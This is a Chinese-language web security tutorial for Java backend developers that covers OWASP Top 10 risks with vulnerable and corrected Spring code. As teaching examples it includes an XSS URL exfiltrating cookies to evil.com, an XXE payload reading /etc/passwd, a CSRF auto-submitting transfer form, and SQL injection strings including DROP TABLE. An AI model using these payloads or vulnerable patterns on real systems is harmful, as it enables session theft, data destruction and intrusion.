Web安全教程 - 后端开发人员指南

掌握保护Web应用程序不受攻击的关键技术和最佳实践

目录

1. 引言

学习前思考

  1. 您认为Web应用程序面临的主要安全威胁有哪些?
  2. 在您看来,为什么许多开发人员在项目中经常忽视安全性方面的考虑?
  3. 安全性和用户体验之间是否存在矛盾?如何在两者之间取得平衡?
  4. 您认为谁应该对Web应用的安全性负责:开发人员、安全团队、还是管理层?
  5. 在一个项目的生命周期中,什么时候开始考虑安全问题是最合适的?

在学习本章内容前,请先思考以上问题。带着问题学习,能够帮助您更好地理解和掌握知识点。

在当今互联网时代,Web应用程序的安全性已成为开发过程中不可或缺的一部分。随着网络攻击手段的不断进化和攻击频率的增加,后端开发人员需要具备扎实的安全知识和技能,以构建和维护安全的Web应用程序。

本教程旨在为后端开发人员提供全面的Web安全知识,涵盖从常见漏洞到防护措施的各个方面,帮助开发者构建更安全的应用程序。

为什么Web安全对后端开发至关重要?

注意:Web安全是一个持续发展的领域,攻击者不断发明新的攻击方式。保持知识更新,关注安全公告和最佳实践的变化非常重要。

本教程的目标受众

本教程主要面向:

教程内容概览

本教程将围绕OWASP(开放Web应用安全项目)Top 10安全风险为核心,结合实际Java开发场景,介绍各类安全漏洞的原理、危害以及防护措施。我们将提供大量代码示例、最佳实践和实用工具,帮助开发者将安全知识应用到实际工作中。

2. OWASP Top 10 安全风险

学习前思考

  1. 您了解OWASP组织吗?它在Web安全领域扮演什么角色?
  2. 为什么需要一个Web安全风险的排名列表?这样的列表对开发人员有什么帮助?
  3. 您认为哪些类型的安全漏洞会对应用程序造成最严重的危害?为什么?
  4. 安全漏洞的排名会随着时间发生变化吗?影响这种变化的因素有哪些?
  5. 开发团队如何将OWASP Top 10整合到他们的开发流程中?

在学习本章内容前,请先思考以上问题。带着问题学习,能够帮助您更好地理解和掌握知识点。

OWASP Top 10是由开放Web应用安全项目(OWASP)定期发布的文档,列出了Web应用程序中最严重的十大安全风险。它已成为许多安全标准、工具和组织的参考基准。了解这些风险及其防护措施,是构建安全Web应用的基础。

注意:本教程基于OWASP Top 10 (2021)版本。随着安全领域的发展,OWASP会定期更新这个列表。

2.1 注入攻击

注入攻击是指攻击者将恶意代码注入应用程序,并在执行时改变预期行为。最常见的注入类型包括SQL注入、NoSQL注入、OS命令注入和LDAP注入。

漏洞示例:SQL注入

考虑以下未经处理的JDBC查询:

// 不安全的代码示例
String query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(query);

攻击者可以输入:admin' --作为用户名,这会导致密码检查被注释掉,从而绕过身份验证。

防护措施

  1. 使用参数化查询(预编译语句)
    // 安全的代码示例
    String query = "SELECT * FROM users WHERE username = ? AND password = ?";
    PreparedStatement statement = connection.prepareStatement(query);
    statement.setString(1, username);
    statement.setString(2, password);
    ResultSet resultSet = statement.executeQuery();
  2. 使用ORM框架

    如Hibernate、MyBatis等框架能帮助防止SQL注入:

    // 使用JPA/Hibernate
    User user = entityManager
        .createQuery("SELECT u FROM User u WHERE u.username = :username AND u.password = :password", User.class)
        .setParameter("username", username)
        .setParameter("password", password)
        .getSingleResult();
  3. 输入验证

    验证所有输入数据的类型、长度、格式和范围。

  4. 最小权限原则

    数据库用户应只具有执行必要操作的最小权限。

提示:Spring Data JPA、MyBatis等框架默认提供了针对SQL注入的保护措施。在使用这些框架时,尽量使用其内置的查询方法和参数绑定功能。

2.2 失效的身份认证与会话管理

身份认证和会话管理的问题可能允许攻击者获取他人的身份或会话信息,从而冒充合法用户。

常见漏洞

  • 允许暴力破解密码
  • 允许弱密码
  • 未加密存储密码或使用弱加密
  • 会话ID在URL中暴露
  • 会话固定攻击
  • 会话超时设置不当

防护措施

  1. 实施强密码策略
    // 使用正则表达式验证密码强度
    public boolean isStrongPassword(String password) {
        String regex = "^(?=.*[0-9])(?=.*[a-z])(?=.*[A-Z])(?=.*[@#$%^&+=])(?=\\S+$).{8,}$";
        return password.matches(regex);
    }
  2. 安全存储密码
    // 使用Spring Security的BCrypt密码编码器
    @Bean
    public PasswordEncoder passwordEncoder() {
        return new BCryptPasswordEncoder(12); // 强度因子为12
    }
  3. 实施账户锁定机制

    在多次登录失败后临时锁定账户。

  4. 安全的会话管理
    • 使用随机生成的会话ID
    • 登录成功后重新生成会话ID
    • 设置合适的会话超时
    • 使用HTTPS保护会话Cookie
    // Spring Security会话管理配置
    @Configuration
    @EnableWebSecurity
    public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
        
        @Override
        protected void configure(HttpSecurity http) throws Exception {
            http
                .sessionManagement()
                    .sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED)
                    .invalidSessionUrl("/login?invalid")
                    .maximumSessions(1)
                    .maxSessionsPreventsLogin(true)
                    .expiredUrl("/login?expired");
        }
    }

最佳实践:多因素认证

考虑为敏感操作或管理员账户实施多因素认证(MFA),如使用Google Authenticator、手机短信或电子邮件验证码。Spring Security提供了MFA的扩展支持。

2.3 敏感数据泄露

敏感数据泄露指的是应用程序未能充分保护敏感信息(如密码、信用卡号、健康记录等),导致数据被未授权访问或被窃取。

常见漏洞

  • 数据传输过程中未加密(如使用HTTP而非HTTPS)
  • 敏感数据明文存储
  • 使用弱加密算法或密钥
  • 在日志、错误消息或调试信息中包含敏感数据
  • 缓存中保留敏感数据

防护措施

  1. 传输层安全

    使用TLS/HTTPS保护所有敏感数据传输。在Spring Boot中:

    # application.properties
    server.ssl.key-store=classpath:keystore.p12
    server.ssl.key-store-password=your-password
    server.ssl.key-store-type=PKCS12
    server.ssl.key-alias=tomcat
    server.port=8443
  2. 加密敏感数据

    使用强加密算法保护存储的敏感数据:

    // AES加密示例
    public String encrypt(String plainText, SecretKey key) throws Exception {
        Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
        byte[] iv = new byte[12]; // 随机生成更安全
        new SecureRandom().nextBytes(iv);
        GCMParameterSpec parameterSpec = new GCMParameterSpec(128, iv);
        cipher.init(Cipher.ENCRYPT_MODE, key, parameterSpec);
        
        byte[] cipherText = cipher.doFinal(plainText.getBytes(StandardCharsets.UTF_8));
        
        // 组合IV和密文以便解密
        ByteBuffer byteBuffer = ByteBuffer.allocate(iv.length + cipherText.length);
        byteBuffer.put(iv);
        byteBuffer.put(cipherText);
        
        return Base64.getEncoder().encodeToString(byteBuffer.array());
    }
  3. 遮蔽日志中的敏感数据

    避免在日志中记录敏感信息,或使用遮蔽技术:

    // 日志遮蔽示例
    private String maskCreditCard(String creditCardNumber) {
        if (creditCardNumber == null || creditCardNumber.length() < 13) {
            return "[INVALID CARD]";
        }
        
        return "XXXX-XXXX-XXXX-" + creditCardNumber.substring(creditCardNumber.length() - 4);
    }
    
    // 使用示例
    logger.info("Processing payment with card: {}", maskCreditCard(creditCardNumber));
  4. 使用安全的密钥管理

    不要硬编码密钥,考虑使用密钥管理服务或安全的环境变量。

最佳实践:敏感数据分类

对应用程序处理的数据进行分类(如公开、内部、敏感、高度敏感),并针对不同级别的数据应用相应的保护措施。对于高度敏感的数据,考虑使用字段级加密或令牌化技术。

2.4 XML外部实体(XXE)攻击

XML外部实体(XXE)攻击是一种针对解析XML输入的应用程序的攻击。当XML解析器配置不当,处理包含外部实体引用的XML输入时,攻击者可以利用这些引用来访问系统文件、执行服务器端请求伪造(SSRF)或导致拒绝服务攻击。

XXE攻击示例

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&entity xxe; </foo>

主要风险

  • 服务器文件泄露
  • 服务器端请求伪造(SSRF)
  • 内网端口扫描
  • 拒绝服务攻击

防护措施

  1. 禁用XML外部实体和DTD处理
    // 使用JAXP(Java API for XML Processing)
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
    dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    dbf.setXIncludeAware(false);
    dbf.setExpandEntityReferences(false);
  2. 使用更安全的数据格式 - 可能的情况下,使用JSON等更简单的数据格式。
  3. 输入验证 - 在服务器端验证和清理所有XML输入。
  4. 更新XML处理器 - 确保使用最新版本的XML处理器和库。

注意:在某些情况下,完全禁用DTD可能会影响应用程序的功能。在这种情况下,考虑使用XML沙箱或专用的XML解析库,如DEFUSE XML库等。

2.5 失效的访问控制

失效的访问控制是指系统未能正确限制用户对功能或数据的访问。当用户可以执行超出其预定权限的操作时,就会出现这类漏洞。这是OWASP Top 10中最常见的安全漏洞之一。

常见的访问控制漏洞

  • 水平权限越界:一个用户可以访问其他相同权限级别用户的资源(如用户A访问用户B的个人资料)
  • 垂直权限越界:普通用户可以访问管理员级别的功能
  • 未校验的参数:通过修改URL参数或请求数据来访问未授权资源
  • 强制浏览:通过直接访问URL绕过正常导航流程
  • 元数据操作:修改JWT令牌、cookie或隐藏字段以提升权限
  • CORS配置错误:允许未授权的跨域资源访问

访问控制漏洞示例

// 错误示例:未检查用户是否有权限访问所请求的资源
@GetMapping("/accounts/{accountId}")
public Account getAccount(@PathVariable Long accountId) {
    return accountRepository.findById(accountId).orElseThrow();
}

// 正确示例:添加权限验证
@GetMapping("/accounts/{accountId}")
public Account getAccount(@PathVariable Long accountId) {
    // 获取当前用户
    User user = getCurrentUser();
    
    // 检查用户是否有权限访问该账户
    if (!user.getId().equals(accountId) && !user.isAdmin()) {
        throw new AccessDeniedException("您无权访问此账户");
    }
    
    return accountRepository.findById(accountId).orElseThrow();
}

防护措施

  1. 实施最小权限原则 - 默认拒绝所有访问,然后选择性授予特定权限。
  2. 集中化访问控制机制 - 使用框架提供的或自定义的集中式访问控制组件。
  3. 服务端验证 - 所有访问控制检查必须在服务端实现,不能仅依赖前端验证。
  4. 记录访问控制失败 - 监控并记录身份验证和授权失败的尝试。
  5. API访问限制 - 实施速率限制防止暴力破解攻击。

提示:在Spring Security等框架中,可以使用注解如@PreAuthorize("hasRole('ADMIN')")@Secured("ROLE_ADMIN")来实现方法级别的访问控制。

Spring Security实现示例

@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {

    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            .authorizeRequests()
                .antMatchers("/public/**").permitAll()
                .antMatchers("/admin/**").hasRole("ADMIN")
                .antMatchers("/user/**").hasAnyRole("USER", "ADMIN")
                .antMatchers("/api/users/{id}/**").access("@userSecurity.checkUserId(authentication, #id)")
                .anyRequest().authenticated()
            .and()
            .formLogin()
                .loginPage("/login")
                .permitAll();
    }
}

// 自定义访问决策器
@Component
public class UserSecurity {
    public boolean checkUserId(Authentication authentication, Long id) {
        UserDetails userDetails = (UserDetails) authentication.getPrincipal();
        User user = ((CustomUserDetails) userDetails).getUser();
        
        // 允许用户访问自己的资源或管理员访问任何资源
        return user.getId().equals(id) || hasAdminRole(authentication);
    }
    
    private boolean hasAdminRole(Authentication authentication) {
        return authentication.getAuthorities().stream()
                .anyMatch(a -> a.getAuthority().equals("ROLE_ADMIN"));
    }
}

2.6 安全配置错误

安全配置错误是指应用程序、框架、应用服务器、Web服务器、数据库服务器或平台的配置不正确或未充分加固,导致系统存在安全漏洞。这类问题在各种环境中普遍存在,通常是由于使用默认配置、不完整的配置或临时配置未及时更改造成的。

常见的安全配置错误

  • 使用默认账户和密码 - 未更改系统默认的管理员账户密码
  • 开启不必要的功能或服务 - 服务器上运行未使用的功能、端口或服务
  • 未更新软件 - 使用含有已知漏洞的过时组件
  • 错误处理不当 - 向用户展示详细的错误信息,包括堆栈跟踪或敏感数据
  • 缺少安全响应头 - 未设置适当的安全相关HTTP头部
  • 服务器目录遍历 - 未禁止目录列表功能
  • 权限配置宽松 - 文件和目录权限过于宽松

警告:安全配置错误往往是攻击者获取系统访问权的首要途径,因为这类漏洞通常暴露在公网上且易于发现。

配置错误示例

# 错误的Spring Boot应用配置示例
# 1. 在生产环境中启用H2控制台
spring.h2.console.enabled=true
spring.h2.console.path=/h2-console

# 2. 在生产环境中启用调试模式
debug=true
spring.devtools.add-properties=true

# 3. 关闭CSRF保护
spring.security.csrf.disabled=true

# 4. 配置不安全的会话Cookie
server.servlet.session.cookie.secure=false
server.servlet.session.cookie.http-only=false

防护措施

  1. 安全的部署流程 - 实施自动化、可重复的加固部署流程,包括开发、QA和生产环境。
  2. 环境隔离 - 确保各环境配置相互隔离,并对每个环境应用适当的安全控制。
  3. 最小化组件 - 仅安装和启用必需的功能、组件和服务。
  4. 安全检查 - 定期审查和更新配置,删除未使用的依赖和功能。
  5. 安全通信 - 加密传输中的数据,尤其是敏感信息。

Spring Boot安全配置实践

# 生产环境安全配置示例

# 禁用开发工具和调试功能
debug=false
spring.devtools.add-properties=false

# 禁用H2控制台
spring.h2.console.enabled=false

# 启用HTTPS和HTTP/2
server.ssl.enabled=true
server.ssl.key-store=classpath:keystore.p12
server.ssl.key-store-password=${SSL_KEY_STORE_PASSWORD}
server.ssl.key-store-type=PKCS12
server.http2.enabled=true

# 配置安全Cookie
server.servlet.session.cookie.secure=true
server.servlet.session.cookie.http-only=true
server.servlet.session.cookie.same-site=strict

# 配置安全响应头
server.compression.enabled=true
server.compression.mime-types=text/html,text/xml,text/plain,text/css,application/javascript,application/json
server.compression.min-response-size=1024

# 错误处理 - 不泄露敏感信息
server.error.include-stacktrace=never
server.error.include-exception=false
server.error.include-message=never

# 配置日志级别,避免敏感信息泄露
logging.level.root=WARN
logging.level.org.springframework.web=INFO
logging.level.com.myapp=INFO

最佳实践:使用环境变量或加密的外部配置存储敏感信息,如密码、密钥和凭证,避免将其硬编码在配置文件中。

安全响应头配置

在Spring Security中配置安全相关HTTP头部:

@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {

    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            // 其他安全配置...
            .headers()
                .contentSecurityPolicy("default-src 'self'; script-src 'self' https://trusted-cdn.com; img-src 'self' data:; style-src 'self' https://trusted-cdn.com; frame-ancestors 'none';")
                .and()
                .referrerPolicy(ReferrerPolicyHeaderWriter.ReferrerPolicy.SAME_ORIGIN)
                .and()
                .permissionsPolicy("camera=(), microphone=(), geolocation=(), payment=()")
                .and()
                .frameOptions().deny()
                .and()
                .xssProtection()
                .and()
                .cacheControl();
    }
}

2.7 跨站脚本 (XSS)

跨站脚本(Cross-Site Scripting,简称XSS)是一种常见的Web安全漏洞,允许攻击者将恶意脚本注入到受信任的网站上。当用户访问受影响的页面时,恶意脚本会在用户的浏览器上执行,允许攻击者窃取用户数据、会话令牌或重定向用户到恶意站点。

XSS的类型

类型 描述 持久性 危害程度
存储型 (Stored XSS) 恶意脚本存储在目标服务器上,当用户请求包含此脚本的页面时被执行 持久
反射型 (Reflected XSS) 恶意脚本包含在请求中,服务器将其"反射"回响应页面 非持久
DOM型 (DOM-based XSS) 漏洞存在于客户端代码中,修改DOM环境后触发恶意JavaScript执行 通常非持久 中至高

漏洞示例

以下是一个简单的反射型XSS漏洞示例:

@GetMapping("/search")
public String search(@RequestParam String query, Model model) {
    // 错误:未对用户输入进行转义
    model.addAttribute("searchQuery", query);
    // ...执行搜索逻辑
    return "searchResults"; 
}

对应的模板文件 (例如使用Thymeleaf):

<!-- 错误:直接输出未转义的用户输入 -->
<div>
    您搜索的是: <span th:utext="${searchQuery}"></span>
</div>

攻击者可以发送包含恶意JavaScript的查询,例如:

http://example.com/search?query=<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>

XSS防护措施

  1. 输入验证和净化 - 验证所有用户输入并根据预期格式进行净化。
  2. 输出编码 - 在HTML上下文中显示用户数据前,确保适当编码。
  3. 使用安全的模板系统 - 默认情况下,大多数现代模板引擎会自动转义输出。
  4. 内容安全策略 (CSP) - 实施CSP头部限制可执行的脚本来源。
  5. 使用HttpOnly标志 - 防止JavaScript访问敏感Cookie。
  6. 采用XSS过滤库 - 使用经过验证的库过滤用户输入。

修复示例

修复上述漏洞的Java代码:

@GetMapping("/search")
public String search(@RequestParam String query, Model model) {
    // 输入验证(可根据需要扩展)
    if (query.length() > 100) {
        query = query.substring(0, 100); // 限制长度
    }
    // 使用Thymeleaf的默认转义机制
    model.addAttribute("searchQuery", query);
    // ...执行搜索逻辑
    return "searchResults";
}

修复后的模板文件:

<!-- 正确:使用 th:text 而不是 th:utext 自动转义用户输入 -->
<div>
    您搜索的是: <span th:text="${searchQuery}"></span>
</div>

使用Spring Security防护XSS

在Spring Boot应用中配置内容安全策略(CSP):

@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {

    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            // 其他安全配置...
            .headers()
                .contentSecurityPolicy("default-src 'self'; script-src 'self' https://trusted-cdn.com; " +
                                      "style-src 'self' https://trusted-cdn.com; img-src 'self' data:; " +
                                      "connect-src 'self'; font-src 'self'; object-src 'none'; " +
                                      "media-src 'self'; frame-src 'none';")
                .and()
                .xssProtection()
                .block(true);
    }
}

防御最佳实践:采用"纵深防御"策略—输入验证、输出编码、CSP和其他安全头部、框架自动保护机制等多层次防护措施共同使用。

使用OWASP Java Encoder防御XSS

添加OWASP Java Encoder依赖:

<dependency>
    <groupId>org.owasp.encoder</groupId>
    <artifactId>encoder</artifactId>
    <version>1.2.3</version>
</dependency>

在代码中使用编码器:

import org.owasp.encoder.Encode;

@GetMapping("/profile")
@ResponseBody
public String displayUserProfile(@RequestParam String username) {
    User user = userService.findByUsername(username);
    
    // 根据上下文使用适当的编码方法
    String htmlContent = "<div class='profile'>" +
                         "<h2>用户信息: " + Encode.forHtml(user.getUsername()) + "</h2>" +
                         "<script>var userId = '" + Encode.forJavaScript(user.getId()) + "';</script>" +
                         "<a href='" + Encode.forHtmlAttribute(user.getWebsite()) + "'>个人网站</a>" +
                         "</div>";
    
    return htmlContent;
}

2.8 跨站请求伪造 (CSRF)

跨站请求伪造(Cross-Site Request Forgery,简称CSRF)是一种攻击,强制已认证用户在不知情的情况下执行不需要的操作。CSRF攻击通常依赖于用户在目标系统中已认证的状态(如保存的Cookie)。

CSRF攻击能够绕过同源策略,因为它们从受害者的浏览器发送请求,而浏览器会自动包含与目标站点相关的所有凭证(如Cookie)。

CSRF攻击工作原理

典型的CSRF攻击流程:

  1. 用户登录合法网站A并获得认证(Cookie)
  2. 认证不过期的情况下,用户访问恶意网站B
  3. 恶意网站B包含可以向网站A发送请求的代码
  4. 用户的浏览器执行该代码,向网站A发送请求(自动包含网站A的Cookie)
  5. 网站A将请求视为合法用户的操作并执行
CSRF攻击流程图

CSRF攻击流程示意图

漏洞示例

一个缺乏CSRF保护的转账接口:

@Controller
public class TransferController {

    @PostMapping("/transfer")
    public String transferFunds(
            @RequestParam String toAccount, 
            @RequestParam BigDecimal amount) {
        
        // 获取当前用户
        UserDetails user = (UserDetails) SecurityContextHolder.getContext()
                             .getAuthentication().getPrincipal();
        
        // 执行转账操作
        accountService.transfer(user.getUsername(), toAccount, amount);
        
        return "redirect:/transfer/success";
    }
}

恶意网站上的HTML可能是:

<!-- 受害者访问此页面后会自动提交表单 -->
<html>
<body>
  <h1>赢取免费奖品!</h1>
  <form id="transfer-form" action="https://bank.example.com/transfer" method="POST">
    <input type="hidden" name="toAccount" value="attacker-account" />
    <input type="hidden" name="amount" value="1000.00" />
  </form>
  <script>
    document.getElementById("transfer-form").submit();
  </script>
</body>
</html>

CSRF防护措施

  1. 使用CSRF令牌 - 在表单中包含服务器生成的、不可预测的令牌,服务器验证每个请求中的令牌。
  2. 检查Referer头 - 验证请求的来源,但不应作为唯一防御手段。
  3. 使用SameSite Cookie属性 - 设置Cookie的SameSite属性为Strict或Lax,限制跨站请求附带Cookie。
  4. 要求重新认证 - 对敏感操作要求用户重新验证身份。
  5. 使用自定义请求头 - 对AJAX请求添加自定义头,跨域请求无法添加这些头。

使用Spring Security防护CSRF

Spring Security默认开启CSRF保护。以下是配置示例:

@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {

    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            .csrf() // 默认启用CSRF保护
                .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
                // 使用cookie存储CSRF令牌,允许JS读取以便在AJAX请求中使用
            .and()
            // 其他安全配置...
    }
}

在Thymeleaf模板中使用CSRF令牌:

<form th:action="@{/transfer}" method="post">
    <!-- CSRF令牌会自动添加 -->
    <input type="text" name="toAccount" />
    <input type="number" name="amount" />
    <button type="submit">转账</button>
</form>

在AJAX请求中使用CSRF令牌:

// 获取CSRF令牌
const csrfToken = document.querySelector('meta[name="_csrf"]').getAttribute('content');
const csrfHeader = document.querySelector('meta[name="_csrf_header"]').getAttribute('content');

// 使用fetch API发送请求
fetch('/api/transfer', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        [csrfHeader]: csrfToken  // 添加CSRF令牌到头部
    },
    body: JSON.stringify({
        toAccount: 'recipient',
        amount: 500
    })
});

何时禁用CSRF保护:只有在创建无状态API(使用JWT等)且不依赖于Cookie进行认证的情况下才考虑禁用CSRF保护。在这种情况下,确保实施其他安全措施,如严格的CORS策略。

SameSite Cookie配置

在Spring Boot中配置Cookie的SameSite属性:

@Configuration
public class SessionConfig {

    @Bean
    public CookieSerializer cookieSerializer() {
        DefaultCookieSerializer serializer = new DefaultCookieSerializer();
        serializer.setSameSite("Lax"); // 可选值: None, Lax, Strict
        serializer.setUseSecureCookie(true); // 需要HTTPS
        return serializer;
    }

    @Bean
    public ServletContextInitializer servletContextInitializer() {
        return servletContext -> {
            servletContext.getSessionCookieConfig().setSecure(true);
            servletContext.getSessionCookieConfig().setHttpOnly(true);
        };
    }
}

2.9 SQL注入

SQL注入是一种代码注入技术,攻击者通过在用户输入中插入SQL代码,使应用程序执行非预期的数据库操作。这种攻击可能导致数据泄露、数据损坏,甚至系统接管。

SQL注入仍然是OWASP Top 10中的高风险漏洞,尽管防御技术已广为人知,但许多应用程序仍然受到影响。

SQL注入类型

类型 描述 示例
经典SQL注入 直接在SQL查询中插入恶意代码 ' OR '1'='1
盲注SQL注入 通过推断响应(如返回值、时间延迟)提取数据 ' OR (SELECT CASE WHEN (username='admin') THEN sleep(5) ELSE 0 END)--
UNION SQL注入 使用UNION运算符合并多个SELECT语句的结果 ' UNION SELECT username, password FROM users--
批处理SQL注入 使用分号分隔执行多条SQL语句 '; DROP TABLE users--

漏洞示例

易受攻击的Java代码示例:

// 不安全的代码 - 易受SQL注入攻击
public User findUserByUsername(String username) {
    Connection conn = dataSource.getConnection();
    
    // 危险:直接拼接用户输入到SQL查询
    String sql = "SELECT * FROM users WHERE username = '" + username + "'";
    
    Statement stmt = conn.createStatement();
    ResultSet rs = stmt.executeQuery(sql);
    
    if (rs.next()) {
        return new User(
            rs.getLong("id"),
            rs.getString("username"),
            rs.getString("email")
        );
    }
    return null;
}

如果攻击者输入 ' OR '1'='1 作为用户名, 实际执行的SQL将是:

SELECT * FROM users WHERE username = '' OR '1'='1'

这将返回所有用户记录,因为条件 '1'='1' 永远为真。

防御SQL注入的最佳实践

  1. 使用参数化查询/预处理语句 - 最重要的防御措施,确保SQL代码和数据分离。
  2. 使用ORM框架 - 如Hibernate、JPA等提供的查询API通常内置参数化功能。
  3. 输入验证 - 验证输入数据的类型、长度、格式和范围。
  4. 最小权限原则 - 数据库用户应只拥有执行必要操作的最小权限。
  5. 使用存储过程 - 正确实现的存储过程可以减少SQL注入风险。
  6. 避免显示详细错误信息 - 不要向用户展示数据库错误详情。

使用参数化查询

修复后的安全代码示例:

// 安全的代码 - 使用参数化查询
public User findUserByUsername(String username) {
    String sql = "SELECT * FROM users WHERE username = ?";
    
    try (Connection conn = dataSource.getConnection();
         PreparedStatement pstmt = conn.prepareStatement(sql)) {
        
        // 安全:使用参数化查询,参数值由JDBC驱动处理
        pstmt.setString(1, username);
        
        try (ResultSet rs = pstmt.executeQuery()) {
            if (rs.next()) {
                return new User(
                    rs.getLong("id"),
                    rs.getString("username"),
                    rs.getString("email")
                );
            }
            return null;
        }
    }
}

使用JPA/Hibernate

通过JPA实现安全查询:

@Repository
public class UserRepository {
    
    @PersistenceContext
    private EntityManager entityManager;
    
    public User findByUsername(String username) {
        // 使用JPA的参数化查询
        return entityManager.createQuery(
                "SELECT u FROM User u WHERE u.username = :username", User.class)
            .setParameter("username", username)
            .getSingleResult();
    }
}

使用Spring Data JPA:

public interface UserRepository extends JpaRepository {
    // Spring Data自动生成安全的查询实现
    User findByUsername(String username);
    
    // 对于复杂查询,可以使用@Query
    @Query("SELECT u FROM User u WHERE u.email = :email")
    User findByEmail(@Param("email") String email);
}

使用MyBatis的SQL注入防护

MyBatis配置:

<!-- UserMapper.xml -->
<mapper namespace="com.example.mapper.UserMapper">
    <select id="findByUsername" resultType="User">
        SELECT * FROM users WHERE username = #{username}
        <!-- #{username} 表示使用参数化查询,是安全的 -->
        <!-- ${username} 表示字符串替换,容易导致SQL注入,应避免使用 -->
    </select>
</mapper>

MyBatis参数标记: 在MyBatis中,使用 #{parameter} 会进行参数化查询,而 ${parameter} 会进行直接字符串替换。除非确实需要动态构建SQL结构(如表名、排序字段),否则始终使用 #{parameter}

处理动态SQL时的安全考虑

有时需要动态构建SQL查询(如动态排序字段或表名),这种情况下:

  1. 对动态SQL部分使用白名单验证
  2. 避免使用用户提供的未验证值
// 安全地处理动态排序
public List findProductsSorted(String sortColumn, String sortOrder) {
    // 白名单验证
    List allowedColumns = Arrays.asList("name", "price", "created_at");
    if (!allowedColumns.contains(sortColumn)) {
        sortColumn = "created_at"; // 默认排序字段
    }
    
    // 验证排序方向
    if (!"ASC".equalsIgnoreCase(sortOrder) && !"DESC".equalsIgnoreCase(sortOrder)) {
        sortOrder = "DESC"; // 默认排序方向
    }
    
    String sql = "SELECT * FROM products ORDER BY " + sortColumn + " " + sortOrder;
    // 此处使用验证过的值构建SQL是安全的
    
    try (Connection conn = dataSource.getConnection();
         Statement stmt = conn.createStatement();
         ResultSet rs = stmt.executeQuery(sql)) {
        
        // 处理结果集...
    }
}

SQL注入防御检查清单

  • 所有数据库查询都使用参数化查询
  • 使用安全的ORM/框架功能
  • 实施严格的输入验证
  • 为数据库连接应用最小权限原则
  • 使用Web应用防火墙作为附加防御层
  • 定期进行安全审计和渗透测试
  • 监控异常的数据库查询